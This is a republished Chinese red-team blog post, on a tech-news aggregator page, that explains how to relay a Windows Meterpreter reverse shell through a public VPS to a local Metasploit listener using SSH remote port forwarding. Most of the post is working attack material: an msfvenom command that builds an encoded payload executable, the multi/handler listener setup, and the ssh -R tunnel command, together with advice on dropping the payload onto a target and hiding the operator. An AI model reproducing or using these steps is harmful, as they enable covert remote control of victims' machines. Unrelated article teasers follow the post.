【ssh隧道】利用ssh隧道将公网meterpreter弹至本地的msf中

news/2025/2/22 1:49:29/文章来源:https://www.cnblogs.com/o-O-oO/p/18536802

不少人私信说如果攻击者的网络和被攻击者的网络都是位于不同地理位置的私网,这种情况下如何反弹shell,今天统一给大家介绍一款最间简单的方式。

利用自己公网VPS的SSH把meterpreter直接弹到本地的msf中

一、环境介绍

ubuntu16-LAMP:假设为入侵者公网的一台linux[vps]机器,公网ip(192.168.3.110 )
Stack:假设为入侵者本地内网的一台linux机器,本地内网ip(192.168.122.154)
win10-client:假设为目标内网下的一台windows客户机,内网ip: 192.168.5.5

二、环境拓扑

根据上面的环境,画出实战中的网络拓扑图

三、实验操作

1、首先,我们需要先到自己的ubuntu16-LAMP [vps]机器上开启ssh的端口转发功能,编写ssh配置文件:vim /etc/ssh/sshd_config,内容如下

修改

 #AllowTcpForwarding yes#GatewayPorts no#TCPKeepAlive yes#PasswordAuthentication yes

为:

 AllowTcpForwarding yesGatewayPorts yesTCPKeepAlive yesPasswordAuthentication yes

配置完后重启ssh服务

systemctl restart ssh.service

2、在本地的Stack机器上,准备好我们的reverse型payload

msfvenom --platform windows -p windows/meterpreter/reverse_tcp_rc4_dns lhost=192.168.3.110 lport=443 rc4oasswird=kli
on -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o dajun_rc4.exe

payload制作成功后,会提示payload的属性信息,如下所示:

[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 521 (iteration=0)
x86/shikata_ga_nai succeeded with size 548 (iteration=1)
x86/shikata_ga_nai succeeded with size 575 (iteration=2)
x86/shikata_ga_nai succeeded with size 602 (iteration=3)
x86/shikata_ga_nai succeeded with size 629 (iteration=4)
x86/shikata_ga_nai chosen with final size 629
Payload size: 629 bytes
Final size of exe file: 73802 bytes
Saved as: dajun_rc4.exe

3、payload准备好之后,顺手继续在本地的Stack机器上做好对应的监听

msf > use exploit/multi/handlermsf > set payload windows/meterpreter/reverse_tcp_rc4_dnsmsf > set lport 53msf > set lhost 192.168.122.154msf > set rc4password klionmsf > set exitonsession falsemsf > exploit-j

4、至此为止,所有的准备工作就完成的差不多了,紧接着,开始整个过程中最关键的一步,在本地的Stack机 器上建立ssh隧道执行远程转发

ssh-C-f-N-g-R 0.0.0.0:443:192.168.122.154:53 root@192.168.3.110-p 22

5、查看端口监听状态

netstat-tulnp | grep ":443"

习惯性的去看下vps上的443端到底口有没有起来

6、最后,把payload丢到目标内网下的Win10-client机器上去执行,即可看到我们的meterpreter在本地成功上线

7、搞定只有,我们来简单回顾一下整个流程

说到这里,可能有些兄弟可能还是会有点儿懵,其实非常简单,一句话概括就是,先在本地机器上和vps建 立好ssh隧道,并在此隧道中执行一条远程转发[如果此处还没搞清远程转发的原理细节,可以先去参考前面 的文章],而被转发的这个端口正好是meterpreter的端口,这样一来,当meterpreter的端口再被弹到vps 上时其实就相当于直接被转到了自己的本地机器上,这样说参不多都应该能明白了。

8、技术小节

在之前的文章我们详细的说明了如果利用ssh隧道的本地端口转发来弹来自公网的meterpreter,此处, 我们又再次说明如果利用ssh隧道的远程端口转发来弹来自公网的meterpreter,大家可根据自己的实际渗 透场景灵活应用,在此之前,你可能还会去用一些lcx之类的工具在vps上做中转,此刻,你完全可以丢到那些 垃圾了,虽然说,meterpreter不是全程被封装在ssh隧道中[其实它只封装了一半],但ssh隧道+payload 自身双重加密还是能在一定程度上保全你自己的,而且,这样建立起的meterpreter也更加稳定,我们貌似一 直在拿meterpreter 举例,其实beacon也是一样的道理,ssh隧道能衍生的技巧还是非常多的,大家可先自 行尝试,待续...

原创 大军 Red Teams

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/887425.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

洛谷文章存档

由于洛谷专栏没了,故放博客园存档。 CSP-J/S 2024 游记 前言 2024.9.29 ~ 现在: \(\footnotesize\mathbf{安全声明:洛谷的文章只显示 {\underline{\color{red}{发布时期}}}而不显示{\underline{\color{red}{更新时期}}}!} \\ \footnotesize\mathbf{题目和答案均为{\underli…

一文了解:新基建是什么

新基建(新型基础设施建设)是中国提出的战略性发展方向,主要聚焦于数字化、智能化、绿色化等领域,旨在推动经济转型升级和高质量发展。 一、信息基础设施 以5G、人工智能、大数据等技术为核心,构建数字时代的“技术底座”:通信网络基础设施5G网络:高速率、低时延的通信网…

三大平台云数据库生态服务对决

title: 三大平台云数据库生态服务对决 date: 2025/2/21 updated: 2025/2/21 author: cmdragon excerpt: 包含自动分片算法实现、跨云迁移工具链开发、智能索引推荐系统构建等核心内容,提供成本优化计算模型、灾备演练方案设计、性能调优路线图等完整解决方案。 categories:前…

【EDR】一种对抗企业级EDR深度行为分析的双模式混淆技术

所谓双模式混淆技术,指的是利用脚本+PE格式进行混合混淆技术,该技术可以导致沙箱执行程序失败, 而且也能够加大分析难度,甚至手动执行都无法成功。 该样本原始文件名为:"Xclient.exe"和"XingCode Unblocker2025.exe", 奇怪的是, 被工具标识为是一个数据文件…

【SSH漏洞】SSH公私钥认证原理及相关漏洞

免责声明: 本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。前言 随着信息安全意识的提升,SSH(Secure Shell)作为一种安全的远程登录协议,被广泛应用于服务器管理、数据传输等领域。SSH的核心机制之一是公私钥认证,它相比密码认证更安全,能有效抵御暴力破…

亿级流量下通用的高并发架构设计

关键词:读/写分离、数据缓存、缓存更新、CQRS、数据分片、异步写前言 既然是亿级用户应用,那么高并发必然是其架构设计的核心要素。 本文我们将介绍高并发架构设计的一些通用设计方案。 一、高并发架构设计的要点 高并发意味着系统要应对海量请求。从笔者多年的面试经验来看,…

微信小程序体验版可以保存图片线上版保存图片失败

最近,在开发一款壁纸类的小程序,体验版开发版都可以保存到手机上,但是唯独线上版本保存失败,挠头俩小时终于弄好了 发现 这并不是代码上的问题,经过一番摸索,发现用户隐私保护指引中的“相册写入”权限没有更新,提交审核过后即可。虎爷壁纸小程序

【微服务】视图:如何实现服务和数据在微服务各层的协作?

在 DDD 分层架构和微服务代码模型里,我们根据领域对象的属性和依赖关系,将领域对象进行分层,定义了与之对应的代码对象和代码目录结构。分层架构确定了微服务的总体架构,微服务内的主要对象有服务和实体等,它们一起协作完成业务逻辑。 那在运行过程中,这些服务和实体在微…

让Ai写个拓扑排序C#算法

前言使用AI的一个有趣例子有个业务,在实现过程中需要使用拓扑算法,但我以前所学的东西都还给老师了,刚好这几天公司开展了使用AI的培训与分享,遂想了下,那就让AI来搞下吧。 源代码Learning-Case/TopologyAlgorithm at main qiqiqiyaya/Learning-Case 出场AI工具豆包DeepS…

百万架构师第四十一课:RabbitMq:可靠性投递和实践经验|JavaGuide

来源:https://javaguide.net RabbitMQ 2-可靠性投递与生产实践 可靠性投递 ​ 首先需要明确,效率与可靠性是无法兼得的,如果要保证每一个环节都成功,势必会对消息的收发效率造成影响。 如果是一些业务实时一致性要求不是特别高的场合,可以牺牲一些可靠性来换取效率。① 代…

jh

什么时候才能跟jh一样强啊 什么时候可以找回曾经的自己

Java基础知识day1

特性和优势 Java三大版本 JDK,JRE,JVM 环境搭建 Java运行机制 Hello,World!Java基础知识day1 特性和优势 简单性:去除了c++中一些复杂的内存管理和指针 面向对象:一种编程思想,其实Java开发是面向过程和面向对象同时进行 可移植性:每个机器上下载了JVM,就可…